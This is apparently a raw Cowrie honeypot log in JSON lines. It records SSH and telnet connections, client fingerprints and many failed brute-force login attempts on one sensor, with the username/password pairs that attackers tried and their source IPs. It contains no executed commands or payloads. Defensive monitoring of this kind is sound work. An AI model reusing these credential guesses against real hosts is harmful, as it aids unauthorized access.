{"eventid":"cowrie.login.failed","username":"user","password":"qwer123","message":"login attempt [user/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:58.857158Z","src_ip":"156.227.233.77","session":"8dac6b61f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":34714,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea5eb752d743","protocol":"ssh","message":"New connection: 43.159.177.40:34714 (159.203.135.109:22) [session: ea5eb752d743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.011214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.018865Z","src_ip":"43.159.177.40","session":"ea5eb752d743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.918275356292725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.032557Z","src_ip":"107.155.66.219","session":"d5b36ab2d4cc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.087875Z","src_ip":"43.159.177.40","session":"ea5eb752d743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.245436668395996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.215410Z","src_ip":"62.171.135.55","session":"bc02356e12fe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"birgit","message":"login attempt [root/birgit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:37:59.358313Z","src_ip":"43.159.177.40","session":"ea5eb752d743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.029842Z","src_ip":"156.227.233.77","session":"8dac6b61f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":44950,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc56f0d9400","protocol":"telnet","message":"New connection: 68.178.160.252:44950 (159.203.135.109:23) [session: 9dc56f0d9400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.274636Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Voltage2016","message":"login attempt [root/Voltage2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.368937Z","src_ip":"213.209.159.158","session":"fce85735d43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.437334Z","src_ip":"43.159.177.40","session":"ea5eb752d743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14336,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5a84c12287","protocol":"ssh","message":"New connection: 213.209.159.159:14336 (159.203.135.109:22) [session: 8b5a84c12287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.535024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.570604Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:00.648629Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun","message":"login attempt [dashaun/dashaun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:01.006626Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun1","message":"login attempt [dashaun/dashaun1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:02.091542Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun123","message":"login attempt [dashaun/dashaun123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:03.177469Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:03.401493Z","src_ip":"213.209.159.158","session":"fce85735d43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15220,"dst_ip":"159.203.135.109","dst_port":22,"session":"8589ee8d3a18","protocol":"ssh","message":"New connection: 213.209.159.158:15220 (159.203.135.109:22) [session: 8589ee8d3a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:03.481336Z"}
{"eventid":"cowrie.session.closed","duration":31.05214524269104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:04.048102Z","src_ip":"107.155.66.219","session":"a5cab6b05be2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun1234","message":"login attempt [dashaun/dashaun1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:04.262556Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55306,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c734503ad4","protocol":"telnet","message":"New connection: 107.155.66.219:55306 (159.203.135.109:23) [session: c7c734503ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:04.687604Z"}
{"eventid":"cowrie.login.failed","username":"dashaun","password":"dashaun12345","message":"login attempt [dashaun/dashaun12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:05.347261Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:05.955718Z","src_ip":"213.209.159.158","session":"8589ee8d3a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:05.959122Z","src_ip":"213.209.159.158","session":"8589ee8d3a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:06.431767Z","src_ip":"213.209.159.159","session":"8b5a84c12287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02b97ab63ff","protocol":"telnet","message":"New connection: 107.155.66.219:46906 (159.203.135.109:23) [session: b02b97ab63ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:09.293679Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":48692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7403f98a94f","protocol":"telnet","message":"New connection: 68.178.160.252:48692 (159.203.135.109:23) [session: c7403f98a94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:10.016428Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46912,"dst_ip":"159.203.135.109","dst_port":23,"session":"9531037f39b9","protocol":"telnet","message":"New connection: 107.155.66.219:46912 (159.203.135.109:23) [session: 9531037f39b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:10.370932Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd35745af2ec","protocol":"telnet","message":"New connection: 107.155.66.219:46922 (159.203.135.109:23) [session: cd35745af2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:10.526968Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46932,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b159c1a918","protocol":"telnet","message":"New connection: 107.155.66.219:46932 (159.203.135.109:23) [session: 17b159c1a918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:11.247670Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46940,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0ffad15b64","protocol":"telnet","message":"New connection: 107.155.66.219:46940 (159.203.135.109:23) [session: 1f0ffad15b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:13.109494Z"}
{"eventid":"cowrie.session.closed","duration":30.36886763572693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:14.173301Z","src_ip":"68.178.160.252","session":"792cf409a804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":46948,"dst_ip":"159.203.135.109","dst_port":23,"session":"290ccb682d20","protocol":"telnet","message":"New connection: 107.155.66.219:46948 (159.203.135.109:23) [session: 290ccb682d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:14.500778Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vol","message":"login attempt [root/vol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:15.236736Z","src_ip":"213.209.159.158","session":"8589ee8d3a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.842721700668335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.164589Z","src_ip":"68.178.160.252","session":"adb9857d3b15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.251.236.197","src_port":16765,"dst_ip":"159.203.135.109","dst_port":23,"session":"412da8eaf82d","protocol":"telnet","message":"New connection: 171.251.236.197:16765 (159.203.135.109:23) [session: 412da8eaf82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.618095Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60370,"dst_ip":"159.203.135.109","dst_port":22,"session":"b719e72e0b41","protocol":"ssh","message":"New connection: 159.203.92.129:60370 (159.203.135.109:22) [session: b719e72e0b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.635318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.640053Z","src_ip":"159.203.92.129","session":"b719e72e0b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.644630Z","src_ip":"159.203.92.129","session":"b719e72e0b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"msbb123","message":"login attempt [ansible/msbb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:16.656745Z","src_ip":"159.203.92.129","session":"b719e72e0b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"67fcd2d397c7","protocol":"telnet","message":"New connection: 107.155.66.219:52124 (159.203.135.109:23) [session: 67fcd2d397c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:17.246463Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:17.664693Z","src_ip":"159.203.92.129","session":"b719e72e0b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"62ca1b3e2e13","protocol":"telnet","message":"New connection: 107.155.66.219:52130 (159.203.135.109:23) [session: 62ca1b3e2e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:18.340719Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:18.816436Z","src_ip":"213.209.159.158","session":"8589ee8d3a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63694,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d851c002d20","protocol":"ssh","message":"New connection: 213.209.159.158:63694 (159.203.135.109:22) [session: 1d851c002d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:18.916931Z"}
{"eventid":"cowrie.session.closed","duration":30.863817930221558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:19.074414Z","src_ip":"107.155.66.219","session":"b6eb9b2ff0f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":52138,"dst_ip":"159.203.135.109","dst_port":23,"session":"3749d2d99b68","protocol":"telnet","message":"New connection: 107.155.66.219:52138 (159.203.135.109:23) [session: 3749d2d99b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:20.102079Z"}
{"eventid":"cowrie.session.closed","duration":30.50887131690979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:20.156791Z","src_ip":"62.171.135.55","session":"85df4a3bd4e3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:20.981603Z","src_ip":"213.209.159.158","session":"1d851c002d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:20.985358Z","src_ip":"213.209.159.158","session":"1d851c002d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":52144,"dst_ip":"159.203.135.109","dst_port":23,"session":"35eae0d0b2a3","protocol":"telnet","message":"New connection: 107.155.66.219:52144 (159.203.135.109:23) [session: 35eae0d0b2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:22.138906Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"53a6850c290f","protocol":"telnet","message":"New connection: 107.155.66.219:52152 (159.203.135.109:23) [session: 53a6850c290f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:23.450656Z"}
{"eventid":"cowrie.session.closed","duration":30.585519075393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:24.145139Z","src_ip":"62.171.135.55","session":"92e61199c05b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039926528930664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:24.886974Z","src_ip":"107.155.66.219","session":"0e35257cd947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43558,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c3fbb569bf","protocol":"telnet","message":"New connection: 107.155.66.219:43558 (159.203.135.109:23) [session: 34c3fbb569bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:26.079227Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":55536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e67544fa4f","protocol":"telnet","message":"New connection: 68.178.160.252:55536 (159.203.135.109:23) [session: d2e67544fa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:26.661807Z"}
